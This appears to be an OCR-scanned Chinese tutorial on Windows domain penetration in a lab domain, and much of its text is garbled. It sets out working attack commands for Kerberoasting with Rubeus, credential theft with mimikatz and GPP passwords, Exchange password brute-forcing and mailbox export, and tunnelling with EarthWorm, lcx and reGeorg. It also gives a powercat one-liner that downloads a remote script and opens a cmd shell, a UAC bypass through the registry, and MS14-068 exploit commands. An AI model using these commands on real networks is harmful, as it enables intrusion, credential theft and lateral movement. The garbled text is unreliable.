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Rubeus,

setspn —-T domain.com —Q */*
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C:\sers™winZuser.JUMBOLAB. 8B \Desktop>setspn —-T jumbolab.com —Q /%
F£#5Ed DC=jumbolah,DC=con
CN=DCSERVER.OU=Domain Controllers,.DC=jumbolab.DC=com
Dfsr-12F9A27C-BF?7-4787-9364-D31B6C55EBA4/DCServer. jumbolab.com
ldap/DCServer. jumbolab.com/ForestDnsZones . jumbolab.com
ldap/DCS8erver. jumbolab.com/DomainDnsZones . jumbholab.com
DNS/DCServer. jumbolab.com
GC/DCEerver. jumbolabh.comsjumbolab.com
RestrictedKrbHost/DCServer. jumbolab.com
RestrictedKrbHost /DCSERUER
RPC-/f2aab5@b—e@77-4f 72—-a564—-fB8afd533971 . _msdcs.jumbolab.com
HOST DCSERUVER/JUMBOLAB
HOST /DCServer. jumbolab.com/JUMBOLAB
HOST /DCSERUVER
HOST /DCServer. jumbolab.com
HOST DCServer. jumholab.com/jumbolabh.com
E3514235-4BA6—-11D1-ABB4-BBCA4FC2DCD2 /f2aabh50b—eB@?7—-4f 72-a564-fB8afd53397
H/jumhulah.cnm
ldap-DCSERVER-JUMBOLAB
ldap/f2aab58b—eB?7-4f72—-a564—fB8afd5339271 . _msdcs . jumbolab.com
‘ ldap/DCServer. jumholab.com/JUMBOLAB

ldap-DCSERVER

ldap/DCServer. jumbolab.com
| ldap/DCServer. jumbolabh.com/jumbho lab.com
CN=krbtgt .CN=Users,DC=jumbolab.DC=com

kadmin/change pu
CN=WIN?,.CN=Computers . DC=jumbholah,.DC=com

TERMSRU/UIN?

TERMSRU/win?. jumbo labh.com

WSMANAUIN?

WEMANAWIN?. jumbolab.com

£ EAREE P LIEMRIEZIDCServertlgg LIEfT 7 dnsiRSS. MIRMAEFEEmssql, FIASPNFEEATLISEIE
MNAYZER.

C:~lsers~winPuser . JUMBOLAB.BBB \Desktoprcscript GetlUserSPMs . ubs
H%crqguft {R> Windows Script Host Uersion 5.8 »
R4 B <C> Microsoft Corporation 1996-2001. {RESETATH .

CHN=krbtgt .CN=Users.DC=jumbolah,.DC=com
User Logon: krhtgt
—— kadmin/changepuw

CH=krbtgt .CM=Users.DC=child,.DC=jumbolah,.DC=com
User Logon: krhtgt
—— kadmin-/changepu

CHN=test,.CN=Users.DC=jumbolab,DC=com
User Logon: test
—— test/ test

W TFEFIFARubeusEAWRLAH FAFEM TSPN, tBAGFLEKerberoastingfiEs
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C:NUserswin?user . JUMBOLAB.BBA\Desktop>*Rubeus .exe kerberoast

Action: Kerberoasting

NOTICE: AES hashes will be returned for AES-enabled accounts.
Use ~ticket:® or -tgtdeleg to force RC4_HMAC for these accounts.

Searching the current domain for Kerberoastable users

Total kerbheroastabhle users : 1

[#]1 SamAccountName = test

[#]1 DistinguishedName = CN=test.CN=Users,.DC=jumbolab,.DC=com

[#] ServicePrincipalName : test/test

[#*] PudLastSet = 2028,6-7 13:24:38

[#] Supported ETypes = RC4_HMAC_DEFAULT

[#]1 Hash : SkrhStgs$235=testSdjumbolab.combtest test=54D2CAC21Y9

9CAASD842FB1C55374F3A8157714A
280870A7?FEBC496B914E1AD?32EC18C3F498A9B545EBBCS59899BF

B43C2ED676FCCDBE212CFBAB382D1
E726F76E252E281DBB8C1D?7BCEF1AS?1A?AF?B?2A726B58DASHA

E7?8CAB8?DFCABF274642E7DDC?EDD
B376BC?71A1A4B83F3A2BA5C3E6B?BS5E?S1C5262B7929203B7D2

6@72CC34CDE4BDSC73I3025AABIFFF

i WPES:

FFnetstat -ano@<$IRBWIRBEEER, RIBEGNRO. ipaf KRN TER. REEEEEAREZE, N
LSRRI B/ R 2. SERAMNPCEEIP. AttwebAOZEE,; NRBEEEEY RS, NTLFER
B0 (redis. mysql. mssql&) . APlIROFEE.

1.3, EREXH

— PMEERNWebNABSEENMMASIEEKEZBESE, B— M EHNER.
LRI TG SIS BB G:
cd /web

findstr /s /m "password" *.*

THEEBNARSARERZZ

Tomcat:

CATALINA HOME/conf/tomcat-users.xml
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/etc/httpd/conf/httpd.conf

Nginx:

/etc/nginx/nginx.conf

Wdcp:

/www/wdlinux/wdcp/conf/mrpw.conf

Mysql:
mysql\data\mysqgl\user.MYD

1.4. APRER

BALEMAKERFPEER, MENRAFMEXIENKE, SEEMEEE, MREABEYE.,

- -
|net user /domain

_32\USEI‘S\l‘ljjnTL!SEl‘.JUHBOLRB.BQB\DESRtDD)I‘IEt user Sdomain
DUIMIE RAGTESE, jumbolab.com HYIEIZH|SSLIE.

sSDCServer . jumbolab.com Em Eﬁ ’j [|]+‘ lj

Jdministrator krhtgt
#4inlBuser win7user

B AR FE Rk -

| net group "domainadmins” /domain

C: \U‘SEPS\I‘Jill'l'?USEI"'-JUHBULRB.BBB\DES]{tDp)nEt group "domain admins" ~domain
RIMEFAGFIEE, jumbolab.com BIIEITH|ZEATE.

éﬁﬁg quain ﬂdmins
EE EENEEER

Administrator

net time /domain

https://mp.weixin.qg.com/s/OGiDm3IHBP3_gOAOIHGCKA




2020/6/29 T 5 % 12 Windows 4 9

C:\Users\min?user.JUHBOLBB_BBQ\DgSktup}net time sdomain
\\DCServer. jumholah.com B F[AT|E]E 2020.5/16 23:27:09

C:\zserswinZuser . JUMBOLAB. 8@\ Desktop?>ping dcserver

\E7E Ping DCSERUVER. jumbolab.com [172.16.127.1731 85 32 FTEIEIE:
FH 172.16.127.173 B0 E: F=32 B7[8)Kins TTL=128

DA PIEEREE A

Intel{R> PRO-1888 MT Network Connection

EEER DNs 5
THIT - - . -
EnFEHhAE .

DHCP l:ﬁ

Tﬁﬁ7 =N=I::}

fp{ hEEE 1Pos {H’L
IPud Hbil . .

BA-8C-29-C7-D1-98
g

£e80::4036 :e1bf :1633:8406x11 (&3>
172.16.127.184(Fik>

255.255.255.8

172.16.127.2

234884137
A#8-81-88-01-22-D1-DA-AB-B0-BC-29-C7-D1-8E

DHCPUE IHID Ce e
DHCPu6 = FiiF DUID

172.16.127.173

P e =
/am

DNS FRE2%

o ARITER - - - ottt ot

TR oy [w} HelBI03 = = = =

f3EER1S€ 4eatan {4ANIFLCLI2—41Ad—41 AN—9L46—ARRNAALALGPF2Y -

| nslookup -type=all Idap. tcp.dc. msdcs.jumbolab.com

C:Nsers winZuser.JUMBOLAB.BO@A\Desktopinslookup —type=all
umbolab.com

AR52e:

Address:

_ldap._tep.de._msdes.j
UnKnown

172.16.127.173
_ldap._tcp.dc._msdcs.jumbolab.com SRU service location:
priority =8

weight = 108

port = 389

svr hostname = dcserver.jumbolab.com

dcserver. jumbolab.com internet address = 172.16.127.173

net group "domaincontrollers"” /domain

C;\ﬂseps\yinTusev.JUMBOLRB.B@@\DEgkt0p>net group "domain controllers" sdomain
IME S GTEN, junbolab.com AtEfiH|2S4M3E.

Domain Controllers

1 BT SE A 25

DCSEHUEF$
T ._Iﬁﬁt

1.5, FMENLIR

BT LAE RN T a5 < SRIKEI A R EAAIA I
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net view

linux:

cat /etc/hosts

windows:

type c:\Windows\system32\drivers\etc\hosts

ipconfig /displaydns

C:NUserswinZuser . JUMBOLAB.BBA\Desktop>ipconfig Adisplaydns
Windows IP R

_ldap._tcp.pdc._msdecs.jumbolab.com

: _ldap._tcp.pde._msdes. jumbolab.com
33

I

: 16

e

F EAe

I dcserver.jumbolab.com
a
108

389

I dcserver.jumbolab.com
i1
: 489

4
;A
t 172.16.127.173

C:“UserswinYuser.JUMBOLAB.BBA\Desktop>nbhtscan.exe 172.16.127.173/24
172.16.127.1 SJUMBOWU-MBA

172.16.127.173 JUMBOLAB~DCSERVER SHARING DC
172.16.127.184 JUMBOLABNWIN? SHARING

=t imeout ¢<normal end of scan?

1.6, SIFUNE

EMRBESIE, NEEERISRIPLYS. TSKEERTY, XEREHNBETFRSBEMRS.

BJLAEFNetSessionEnum apisREEHMEN EEMLRERER.
apitfEXMBINT:
https://docs.microsoft.com/en-us/windows/win32/api/Imshare/nf-Imshare-netsessionenum
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FFEpowershellfiA&PowerView /9.,

PS C:\lserswinZuser\Desktop?> Import—Module .“\PowerlUiew.psl

PS C:\lUserswin?user\Desktop?> Invoke-UserHunter -UserName “winZuser"

UserDomain : JUMBOLAB

UserName : winZuser
ComputerName : WIN?. jumbolab.com
IPAddress = 172.16.127.184
SessionFrom :
SessionFromName

LocalAdmin

PS C:NUsers™winZuser . JUMBOLAB.ABB\Desktop> Get—MetSession —ComputerName dcserver

esilB_cname = NN\72.16.127.184
esilB_username : winuser
esilB_time = A
sesilB_idle_time = @
ComputerName : dcserver

HtTH., apifl. ZB7T LXMERE, MAULNARENRENESRERENTRHITIRG,
Mg, MALBRENANRESREE,

1.7. RIS

ET—6NRE, FERTENKRERSR. UTERNNERREREEHRNEMFRILLL, TLREREZEBRERT
I SZT,

ELanintEiE AR

cmdkey/list

navicat:

MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your connection na

me>

MariaDB HKEY CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your con

nection name>

MongoDB HKEY CURRENT_ USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your co

nnection name>

Microsoft S | HKEY CURRENT USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your connec

https://mp.weixin.qg.com/s/OGiDm3IHBP3_gOAOIHGCKA




2020/6/29

QL

215 i 2 Windows 4 75 1%

tion name>

Oracle

n name>

HKEY CURRENT USER\Software\PremiumSoft\NavicatOra\Servers\<your connectio

PostgreSQL

name>

HKEY CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your connection

SQlLite

tion name>

HKEY CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your connec

SecureCRT:

xp/win2003

sions

C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Ses

£t

win7/win2008LA4

C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions

Xshell:

Xshell 5

%userprofile%\Documents\NetSarang\Xshell\Sessions

Xshell 6

%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions

WinSCP:

HKCU\Software\Martin Prikry\WinSCP 2\Sessions

VNC:

RealVNC

HKEY LOCAL MACHINE\SOFTWARE\RealVNC\vncserver

Password

TightVNC

HKEY CURRENT_USER\Software\TightVNC\Server Value

Password or Passwor

dViewOnly

TigerVNC

HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4

Password

UltraVNC

C:\Program Files\UltraVNC\ultravnc.ini

passwd or passwd2

1.8, DPAPI

DPAPI, HMEKMWindows 2000 % %, FR/9Data ProtectionApplication Programming

Interface (DPAPI) , Eo5IRMH T IIZERECryptProtectData S5##=5A%L CryptUnprotectData ,
B{ERCEEEBEARRT:

outlookZ FiHzEg

windowscredential‘£iz
chromelRERNZEBEE

internetexplorerZi3EiE
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DPAPIRRBIINE RELIIFRING , FHEBRIGNHFRZ JIMaster Key Files, HIgEZ—HR
73%APPDATA%\Microsoft\Protect\{SID}\{GUID}, EF{SID}IAF ML EIRRF, (GUIDIAEEREMR. K
MR BRAFER/hashsl iSO ERREEER, AEHERdpapiilZNEIE.
HEXRIN BT
https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection

misiES, FJLRIAmimikatzE B s SRR

mimikatz dpapi::ichrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /un

protect

mimikatz vault::cred /patch

1.9, IRSE

BEEXRRREEEESHZBANFR, B— P MESEMEEY TEEXRRE, 2N EZBEMETLUREERTRT
B, ®ITUBENSEXHFITENFRERR, EARMNEZEERMNEZRIOLZSEHE.

BEEGE:

nitest /domain_trusts

Lo e WHELRS WAL AUSEF . JUNDVLHAD . UUE WES KLU DS
PS C:“Userswinuser.JUMBOLAB.AB@\Desktop?> nltest sdomain_trusts
| IER SRR
B: CHILD child.jumbolab.com (NI 5> {(Forest: 1> (Direct Outhound?> {(Direct Inh
ound?» ¢ Attr: Bx28 >
1: JUMBOLAB jumbolabh.com <NT 5> (Forest Tree Root}» (Primary Domain> {(Native>

It 4 R T T R

AR B Rchild. jumbolab.comfljumbolab.comB M RN EE(ERY.

1.10, E{&Eix

SEEEEERREN, TLERBUSE@TIER. S8 THTCRE, LRESHNERRNH AR, Wilwww
ETNipERETREfEdmzX, mailfEHTRYIp R A BEE O K FSE,

windows:

nslookup -type=ns domain.com
nslookup
sserver dns.domain.com

s domain.com

linux:
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dig @dns.domain.com axfr domain.com

1.11, DNSigRIREY

EMAUEDNSIER, ATLARERERN —LE. Wik, AT EBDnscmd, PowerView,

IREXANSIER:
Dnscmd. /ZonePrint jumbolab.com

ForestDnsZones [E{}:3674942] 660 A 172.16.127.181
[EZ1{l:3676694] 600 A 172.16.127.173

_ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones [£{} :3676694] 600 SRU
0 100 389 dcserver.jumbolab.com.

[#1{l:3674942] 600 SRU 0 100 389 win-T726qppchabq.child. jumbolab)
.COm.
_ldap._tcp.ForestDnsZones [3£{}:3674942] 600 SRU 0 100 389 win-726qppchab)
q.child. jumbolab.com.

[#1l:3676694] 600 SRU 0 100 389 dcserver.jumbolab.com.
spntest [£{l:3676330] 600 A 172.16.127.1
win1® [F{}:3676693] 1200 A 172.16.127.180

win? [£1}:3673522] 1200 A 172.16.127.184

DIEAA R : 53 AT a0 30 KicF. KA 0 &

:\Users\Administrator\Desktop>Dnscmd . /ZonePrint jumbolab.com

Dnscmd. /EnumRecords jumbolab.com .

C:\Users\Administrator\Desktop>Dnscmd . /EnumRecords jumbolab.com .

iR [F R ICR
@ [#1):3676694] 600 A 172.16.127.173

3600 NS decserver. jumbolab.com.

3600 30A dcserver. jumbolab.com. hostmaster. jumbolab.com.
276 900 600 86400 3600

dcserver 3600 A 172.16.127.173

sphtest [#1{:3676330] 600 A 172.16.127.1

Wwinl@ [#1},:3676693] 1200 A 172.16.127.180

WinT [E1}:3673522] 1200 A 172.16.127.184

P e el = ]

import-module PowerView.psT

Get-DNSRecord -ZoneName jumbolab.com

https://mp.weixin.qq.com/s/OGiDm3IHBP3_gOAOIHGCKA
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ame

nsrecord
hencreated
henchanged
oneName
ecordType
pdatedAtSerial
TL

ge

imeStamp

ata

ame

nsrecord
hencreated
henchanged
oneName
ecordTune

1.12, WIFI

215 i 2 Windows 4 75 1%

: deserver
istinguishedname :

DC=dcserver,DC= jumbolab.com,CN=MicrosoftDNS,DC=DomainDnsZon
es,DC= jumbolab,.DC=com

. (4,0, 1, 0...)
: 2020/1/28 10:30:54
: 2020/6/8 15:08:37
: jumbolab.com

: A

: 276

: 3600

: 0

: [static]

: 172.16.127.173

: DomainDnsZones
istinguishedname :

DC=DomainDnsZones ,DC= jumbolab.com,CN=MicrosoftDNS,DC=Domain
DnsZones ,DC= jumbolab,DC=com

: (4,0, 1, 0...)
: 2020/1/28 10:30:54
1 2020/1/28 10:30:54
: jumbolab.com

: A

BT N SIRBUEEIwifizR

for /f

"skip=9 tokens=1,2 delims=:"

%i in (‘'netsh wlan show profiles') do @echo %j | findstr -i -

echo | netsh wlan show profiles %j key=clear

1.13. GPP

Lo KRAREE, SEHANSYSVOLBREFER—
SEENZIHNKS D
HehxmIhgZ e 2aesinZ /Y,

gpPECERIXMIS Y, GNREEEHKRIEATE
FEHESERNZG,
T o /NG a

BENTER, WHES

o IXLEEERT,

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-
8b70-1f2fa45dd4be?redirectedfrom=MSDN

o] LA AR A5t

HITHER, a0

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-

GPPPassword.ps’

HAPERNAFEBRESFESRSUY:
\\domain\Netlogon

1.14, Seatbelt

BJLAFFBSeatbelt T Efff—

LERMUNERKE, WENERERE, 8RR Tgoogle[iHIER. AF%E
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\wvailable commands (+ means remote usage is supported):

AMSIProviders
AntiVirus
AppLocker

ARPTable
AuditPolicies
AuditPolicyRegistry
AutoRuns
ChromeBookmarks
ChromeHistory
ChromePresence
CloudCredentials
CredEnum

CredGuard

dir

DNSCache

DotNet
DpapiMasterKeys
EnvironmentPath
EnvironmentVariables
ExplicitLogonEvents
ExplorerMRUs
ExplorerRunCommands
FileInfo
FirefoxHistory
FirefoxPresence
IdleTime
IEFavorites

IETabs

IEUrls
InstalledProducts
InterestingFiles
InterestingProcesses
InternetSettings
LAPS

LastShutdown
LocalGPOs
LocalGroups
LocalUsers
LogonEvents

Providers registered for AMSI

Registered antivirus (wvia WMI)

AppLocker settings, if installed

Lists the current ARP table and adapter information (equivalent to a
Enumerates classic and advanced audit policy settings

Audit settings via the registry

Auto run executables/scripts/programs

Parses any found Chrome bookmark files

Parses any found Chrome history files

Checks if interesting Google Chrome files exist

AWS/Google/Azure cloud credential files

Enumerates the current user's saved credentials using CredEnumerate()
CredentialGuard configuration

Lists files/folders. By default, lists users' downloads, documents, a
DNS cache entries (via WMI)

DotNet versions

List DPAPI master keys

Current environment %PATH$ folders and SDDL information

Current user environment variables

Explicit Logon events (Event ID 4648) from the security event log. De
Explorer most recently used files (last 7 days, argument == last X da
Recent Explorer “run" commands

Information about a file (version information, timestamps, basic PE i
Parses any found FireFox history files

Checks if interesting Firefox files exist

Returns the number of seconds since the current user's last input.
Internet Explorer favorites

Open Internet Explorer tabs

Internet Explorer typed URLs (last 7 days, argument == last X days)
Installed products wvia the registry

"Interesting" files matching various patterns in the user's folder.
"Interesting" processes - defensive products and admin tools

Internet settings including proxy configs

LAPS settings, if installed

Returns the DateTime of the last system shutdown (via the registry).
Local Group Policy settings applied to the machine/local users
Mon-empty local groups, "-full" displays all groups (argument == comp
Local users, whether they're active/disabled, and pwd last set (argu
Logon events (Event ID 4624) from the security event log. Default of

S8 T chromeryiniRHEE, MALMEZAFIBERN—LREBLERRIEE/IP, LIRS

22

—to

1.15. Bloodhound

AT LARIABloodhoundi—EEHaMEIEEIE, BFEAF. HHEN. BREN. HRHOKEER

MUEERESE, ZRRMENCERKEN, SERMIRE EFEXRENEE, REEMA.

Wi

SharpHound.exe -c all

.

=
=1
=~

TRESER— 1 zipEER, BFRMF20200526201154 BloodHound,
ABloodhoundG Bl LAMET {44554
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Database Info Node Info

Database Info

DB Address bolt:#/localhost: 7687
DB User neodj
Users 396
Computers

Groups

Sessions

ACLs

Relationships

Refresh DB Stats.

Warm Up Database

R ERNMES NG EENRRIRERT

Database Info Node Info Queries

Pre-Built Analytics Queries

Find Shortest Paths to Domain Admins

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Map Domain Trusts

Shortest Paths to Unconstrained Delegation Systems
Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastable Users
Shortest Path from Owned Principals

NTE, BB, NREThandBFE, FiATLASREEEER :

https://mp.weixin.qg.com/s/OGiDm3IHBP3_gOAOIHGCKA 13/65
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. Member0f @

HAND@ sl et

GpLink Contains
Membergf

e Contains

’ EELink Contains
--------------- -&h__.i
a Contains e Contains

a Contains
Containg
MM‘”’ -

| Contains
&_——* W
Rﬂﬂ"’_ -

Te
D HasSession . AdminTo

1.16, Exchange

exchange—REEEFHANMNZMIE £, BIEEELEATRERSSE L, REFENFESZSXKiTexchangefiEXTH
A, MNERETexchange#lg88, NEIEHARITY,

fERArulerTEXowalZ #7186 :

/ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwor

ds.txt

ruler TESBzERowar] LURMAYEL, -

https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml
HfttgNewsiz A thF MR NIRRT FERIXES :

https://mail.targetdomain.com/ews

R — PR SERE, TLAERMailSniperfiEBRR, SZEFBNRE, FTLABRA A LIARRFRURLE
SR, (BRICHE, BRABAERS, REURKIEREBAFE:

Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password

Fall2016 -OutFile global-address-list.txt
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HE&MNETexchangefRSFSeE, FLUM—LEEKE, SEARTAR. B4,
SRENFREHEFE R -

Get-Mailbox

Shl: e

New-MailboxexportRequest -mailbox username -FilePath ("\\localhost\c$\test\username.pst")

wELliEidwebOSH, &FR:
https://mail.domain.com/ecp/
SHESBIER, BUTHSIUES:

Get-MailboxExportRequest

MEEANSHIER:

Remove-MailboxExportRequest -Identity 'username\mailboxexport' -Confirm:$false

EHERNER, NTHER— BB, —RESEY—NEE, BEERSS

AT LARLA TR as < FIHf:

ping

curl

nslookup

2.2, netsh

netsh2windowsBHRIaE<, ATLARHESITENNMSERE. BALIGRERMiRO%ER.
ANERHUTUI T &<

netsh interface portproxy add v4tov4 listenport=5555 connectport=3389 connectaddress=192.16

8.1.1 protocol=tcp

BH28 51 AHLERAY5555iw A, BPE192.168.1.189338%uxM
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ssh—iRERERIinuxtllas, WATLIERMAIENZE L.

ssh -qTfnN-D 1111 root@1.1.1.1

BMAT11H28588, AR proxychainsZF3R ) T EERAIAN111 15w OMsock SEZRIATAIET.1.1. 189
&,

ANLEEHAT:
ssh -CNfg —-L2121:CIP:21 root@BIP
EINBIPHLEEEED, HIIARI21215OBIEiAEICIPAI2 15 .

AT
ssh -CNfg —R2121:BIP:21 root@hackervps
MANEZVpsER, HiREEvpsit21215ORI215EBIPAI2150.

2.4, reGeorg

reGeorg@—mFFiRAYsocksUEI Y, ATLABRIHEAHMES, fEAhttpAEFENAN,

RIBEM USR0S, IBEMAtunnel xxEZIARSEE L, HEtunnel. xxB87= “Georg says, 'All seems fine'”
AR Aok,

AibiETT:

pythonreGeorgSocksProxy.py -p 9999 -u http://1.1.1.1:8080/tunnel.xx
FMFproxychainsER{U T BEEAMAI9999im OATsock SEREZBIEIAIRT. 1. 1. TRIM L

2.5, EarthWorm

EarthWormZ2—FXATFHESOCKS vSREIRFSNTE, EFiRECH R, UEASFOEEEETR, ATER
RLRINE N RIUEIRRE R .

BewFRIXI LIRSS L, FIT:
.Jew-s ssocksd -1 8888

MEARMFFBproxychainsZFE RN T BiEZEA AT 5 RS 28AY8888um M AYsock 5iEZE RN AL IBIT S AIM 48,
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£B SRS 88 LT

.Jew-s rcsocks -1 1080 -e 8888

XI 73RS BT :

.Jew-s rssocks -d yourvpsip -e 8888

R proxychains&3 U T B o i@idiERE RN vpshI1080 ixOfJsocks5, BIafIEZEERSIB/AIMGE,

BH=2EHIT:

.Jew-s ssocksd -l 9999

AfLES:

.Jew-s lcx_tran -1 1080 -f BIP -g 9999
FFproxychains&E ) T Br]iBidiEREARI1080 ixORYsocks5, BIAJXIEBIRSERAIMILE.

BHCovpsHiT:

.Jew-s lcx_listen -1 1080 -e 8888

BALESHAT:

.Jew-s ssocksd -l 9999

AHLEEHRAT:

.Jew-s lcx_slave -d vpsip -e 8888 -f BIP -g 9999

FMAproxychainsFX U TRANEITEZ/RE ShIvpsHY1080 tm[AJsocks5, BPETAIEBARSS 2RAIRILK,

2.6, lcx

lexB—ARENROEATE.

ARV PSHLES MR 0T -
lcx.exe-listen 1111 2222
AR HT:
lcx.exe-slave VPSip 1111 127.0.0.1 3389
EREINR VP SH28RY222 21w R RiEEZ EET23A93389.

AT
[cx.exe-tran 1111 2.2.2.2 8080
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THiEAHLERRT111 1R O RPZTEiR)2.2.2.2A98080i% 1.
2.7, powercat

powercat@—mpshknc, BILAARMNIT, BEILURFE FEHIIT, mERITHESUT:
powershell"IEX (New-Object
System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/

master/powercat.ps1');powercat-l -p 8000 -e cmd"
RETEEENI TR, NRHEFZHSARE, TLUANEHEITHRS.

2.8, mssql

L BB R AR mssqlid, FABILARIBEmssqliTcrfEAEEIBIE,
INBWT:

INTERNET MAIN NETWORK

ALLOW 1433 TO MSSQLO1
DENY ALL

TEINEeIt:
https://github.com/blackarrowsec/mssqlproxy

3 BURIRF

BAEAZadministratorffR, AHABLBSHITAT? ER—NEBRIRAPLIRE, MIERURIENIR? 4kEz
(ER
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3.1, UAC
UAC, BPARRKKFES, HREZBMAFZEEXNNAEFERERIKNI[/ANRF RN, LUARIREIEEE
ERERARFZNMR. ERR LENERRKUTXE:

PP

{FEFCVFILLR FAXIARATIR B 2 T 58 eI ?

- Windows ap S RIER

BRI A RE: Microsoft Windows

JLTE%]::TE?E |:m_a

=

AN kbypass uaclIA AR, BATTLR—LLUSIIRETH, EEF8Buade e, RAEF A
ProcessMonitorS &k /S shERiIEERIMd, SEAREE, ABRIIFINRAEILSIbypass uaclIRER.
SRS TR R E R — R A I T ind

MULLTTTTTTLLLY

J ¥
f |

eventvwr.exe

FAwin10LAComputerDefaults.exefEsbypassZEf|, ComputerDefaults.exeiFZERIBEE PMuachItRE
(RRIRNEIT AR IZBuadiZEE)

_TE ComputerDefaults.exe

A IFIFEProcessMonitorXz# 21T AM— NS0T

HLIHHKCU:\Software\Classes\ms-settings\Shel\Open\Command ;¥ftx, REEAMBEAEFE, BIK
HKCR:\ms-settings\Shel\Open\Command\DelegateExecute
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Rt L FAMEKhkcuiEMERS, iB1TComputerDefaults.exefiei8E—/ bypass uac/zHIcmd:

THEAI\HKEY CURRENT USER\Software\Classes\ms-settings\Shel\NOpen\command
ms-mobileplans -5 #iE
msnweather abj REG_SZ C:\Windows\system32\cmd.exe

ms-officeapp ab|DelegateExecute REG_SZ C:\Windows\system32\cmd.exe
ms-officecmd

s—
ucmd. exe DESKTOP-00F17K. .. High

I, BIEKHKCU\Software\Classes\ NHIEER, £REELEHMHKCRTEREE.

3.2, ms14-068

ZimA AERE— 1 EEEAFPSRES, KRS ENIR, MIRERBETiZRE, NN T SR
kb3011780, TEINMATKBEAKE, FokK—"Kerberostim{imtzE:

Domain Controller

sent TGS for access
gEHE access)— —
- used when muytyal authentication js request Bl

ed}—— \

Application Server

RECRAZAT :

1. BAFERE, EKDCRASIRSLIESEBINEIR BB TIUAIL;

2. BENASIRSKITAFNEBEEER. WIEBEE, RESHAFP—KTGTERE, 1ZERE SkrbtgtZiEINZET
% ;

3. BAFEETGTEKDCHTGSIREBiEAEApplication ServerfIZ iz
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4. EIENTGSIRSWIETGTEEG, REILEAFBEREIGAApplication Serverf9ZE4E, BIST, STLA
Application ServerffRSZ MK S ZERLINE
5. AP E&ESTHAXMAYApplication Server;
6. Application Serverf§iFST, REKINSHE.

TEEIARMs14-068[ A FRAFTE :

TGTHEARFPEILE, 8a7THEFE. ARid. MEEZFEE, BIPAC, BERH, PACHERIEAFATHENIR
AR IUBMEIE T,

FIAPACRBEETGTHH, MEMms14-068 X Na@NREAETHFERIBTGTR AT LAZERKDCGREIRITGTAR
B&PAC (include-PACKfalse) , ABFHFPECHIEPACHMATGS REQHUIEETHIREQ BODYH, KDCL1E
BPACHMEZE—MRANTGTH (EEEMIZIREI—NST) HRELLAR, HEXANTCTEEHA T HIIMIENER
MIPAC, EEFREIEERkerberosiiiz T .

MAFZE:

python ms14-068.py -u <userName>@ <domainName> -s <userSid> -d <domainControlerAddr>

mimikatz.exe "kerberos:ptc TGT user@domain.ccache" exit

tETLAfEA goldenPac.pyskiAZIms14-068 + psexecHIEzLFI A :

goldenPac.py domain.com/username:password@dc.domain.com

4 ZOIREY

ERMNELZM NS ETL AT ON—TkeE. —MEEXRTEEEENZ R, EEEBRERITEER—
BEEEMEN. RN —aHRNEDL, ABEEEDRME, RUEXNMEEMAMERT. A HEENBED
MENAY R — L F R,

4.1, ntimhash#lnet-ntimhash

SN B TRImhashfntimhash,

HMNEEFThashi<ixX#E:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089c0:::
ftBAVE R LR

user:sid:Imhash:ntlmhash

ImhashRYINZRIEANT :
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. BRKERBA14DNFR
. BEESBEHRAXS
. BRERAI16HEIFHE, FAR14FTAHME
. BRI 63 FIF R B D E N 7byte#B s
Bo7bith—A SAKEMO, BAM—
. EEBREBEINTAH, SBIERkey A "KGS!@#$%" #1TDESHNZE,
. BIEENRAHEE—E, BERELM HASHIE,

AT ERIMhashi2EARERIBIRE, HUEKHEE T ntimhash:

1. SEBRAREEEE S+ EEHEI,

2. Bt+7NadtsliZR#EITUnicodedmis.

3. {EAMD43tUnicodefmidiiEtTHashit&

EATEvistalg ABx#FImhash, EMBIEIhashfagImhash#BREaad3b435b51404eeaad3b435b51404ee
fEhashfEEBITERY, BTLAESHRALO:

00000000000000000000000000000000

BETntImIAERIEE:
2. User name
{plaintext)

Client 3.Challenge
1.User name
— Password Password
Domain name hash
User name

4. Response

fb BRI T -

1. BEFimRRSmALEIAILE

2. IRSBH|WENBKE, HEp—16{RIFENE (X MREYIEHRFR /9Challenge) BB RIX IR Fin, F{ERE
F#ZfBhashiiZChallenge, 3k18Challenge1
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3. ZPiEKZIChallengefs, FAEFRAFNZGhashidChallengefil®, 3X5Challenge2((XMERBIRA
response), i§responseRKiXHEIRSES
4, IRSERIEWEFimIIZERNresponse, tbikChallengelfliresponse, NR1ERE, WIEMII,
FiRPEgresponse I F FEIXHEE :

NTLM Client challenge: 0000000000000000
= NTLM Response: 83cc241d9772bl486bd8e8fafa2c0b060101000000000000. . .
Length: 326
Maxlen: 326
offset: 154
NTLMv2 Response: 83cc241d9772bl486bd8e8fafa2c0b060101000000000000. ..
HMAC: 83cc241d9772bl486bd8e8fafa2cOb06
Header : 0x00000101
Reserved: 0x00000000
Time: May 23, 2020 11:59:13.960334800
Client challenge: 5cb0983eab2554ea
unknown: 0x00000000
# Attribute: NetBIOS domain name: DESKTOP-8LE7L8N
# Attribute: NetBIOS computer name: DESKTOP-BLE7LBN
# Attribute: DNS domain name: DESKTOP-8LE7LEN
# Attribute: DNS computer name: DESKTOP-8LE7LEN
# Attribute: Timestamp
# Artribute: Flags
# Attribute: Restrictions
# attribute: channel Bindings
# Attribute: Target Name: cifs/172.16.127.244
# Attribute: End of Tist
# Attribute: End of Tist
# Attribute: End of list
NTLM client challenge: 5cb0983eab2554ea
